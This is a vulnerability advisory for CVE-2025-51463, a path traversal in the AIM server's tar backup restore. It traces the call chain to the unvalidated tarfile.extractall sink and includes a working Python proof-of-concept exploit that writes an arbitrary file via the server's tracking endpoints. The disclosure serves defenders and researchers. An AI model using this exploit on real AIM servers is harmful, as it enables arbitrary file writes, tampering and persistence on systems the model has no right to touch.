The following vulnerability was found using Gecko and validated by security researchers.
(Some Image Maybe?)
Repo: https://github.com/aimhubio/aim Version: 3.28.0 Severity: High (7.0/10) CVE: CVE-2025-51463[https://github.com/advisories/GHSA-6gj6-5cm3-g43x]
Description
A path traversal vulnerability was found in AIM server. This vulnerability allows remote attackers to write arbitrary files on the server's filesystem via a malicious tar file extraction. The vulnerability exists due to a lack of proper path validation when extracting backup tar archives in the restore_run_backup function.
Source - Sink Analysis
The vulnerability exists in the following function call chain:
- Source:
Client.run_instruction()
inaim/ext/transport/client.py
- Entry point for remote method execution that accepts untrusted input:
def run_instruction(self, queue_id, resource, method, args=(), is_write_only=False):
- Intermediate:
RemoteRepoProxy._restore_run()
inaim/sdk/remote_repo_proxy.py
- Proxies restore request to repo instance with unsanitized hash parameter:
def _restore_run(self, hash_):
- Intermediate:
Repo._restore_run()
inaim/sdk/repo.py
- Handles run restore operation and passes unsanitized run_hash:
def _restore_run(self, run_hash):
- Sink:
restore_run_backup()
inaim/sdk/utils.py
- Vulnerable tarfile extraction without path validation:
with tarfile.open(run_bcp_file, 'r:gz') as tar: tar.extractall()
Proof of Concept
def exploit():
client_id = str(uuid.uuid4())
unique_id = uuid.uuid4().hex[:8]
target_file = f"/tmp/aim_vuln_proof_{unique_id}.txt"
if os.path.exists(target_file):
os.remove(target_file)
content = f"AIM Path Traversal Vulnerability PoC\nTimestamp: {time.time()}\nID: {unique_id}\n"
print(f"Creating exploit for AIM server at {AIM_SERVER}")
print(f"Target file: {target_file}")
# create malicious tar file
tar_path = create_malicious_tar(target_file, content)
print(f"Created malicious tar: {tar_path}")
# create repo resource
resource_url = f"http://{AIM_SERVER}/tracking/{client_id}/get-resource/"
response = requests.post(
resource_url,
json={
"resource_handler": "repo",
"resource_type": "Repo",
"args": encode_args({})
}
)
if response.status_code != 200:
print(f"[-] Failed to create Repo resource: {response.text}")
return False
repo_handler = response.json()["handler"]
print(f"Created Repo resource: {repo_handler}")
# set repo path to /tmp
instruction_url = f"http://{AIM_SERVER}/tracking/{client_id}/read-instruction/"
response = requests.post(
instruction_url,
json={
"resource_handler": repo_handler,
"method_name": "path.setter",
"args": encode_args(["/tmp"])
}
)
if response.status_code != 200:
print(f"[-] Failed to set repo path: {response.text}")
return False
print(f"Set repo path to /tmp")
# create bcp directory
bcp_dir = "/tmp/bcp"
os.makedirs(bcp_dir, exist_ok=True)
# copy malicious tar to bcp directory
run_hash = f"exploit_{unique_id}"
bcp_tar_path = os.path.join(bcp_dir, run_hash)
shutil.copy(tar_path, bcp_tar_path)
print(f"Copied malicious tar to {bcp_tar_path}")
# trigger vulnerability via _restore_run
print(f"Triggering vulnerability...")
response = requests.post(
instruction_url,
json={
"resource_handler": repo_handler,
"method_name": "_restore_run",
"args": encode_args([run_hash])
}
)
# verify exploit success
if os.path.exists(target_file):
with open(target_file, "r") as f:
file_content = f.read()
print(f"Successfully created file: {target_file}")
print(f"Content: {file_content.strip()}")
return True
else:
print(f"Exploit failed - target file not created")
return False
Impact
Attackers can:
- Write arbitrary files to any location on the filesystem where the AIM server process has write access.
- Overwrite critical system files or application configurations.
- Create backdoors or establish persistence on the affected system.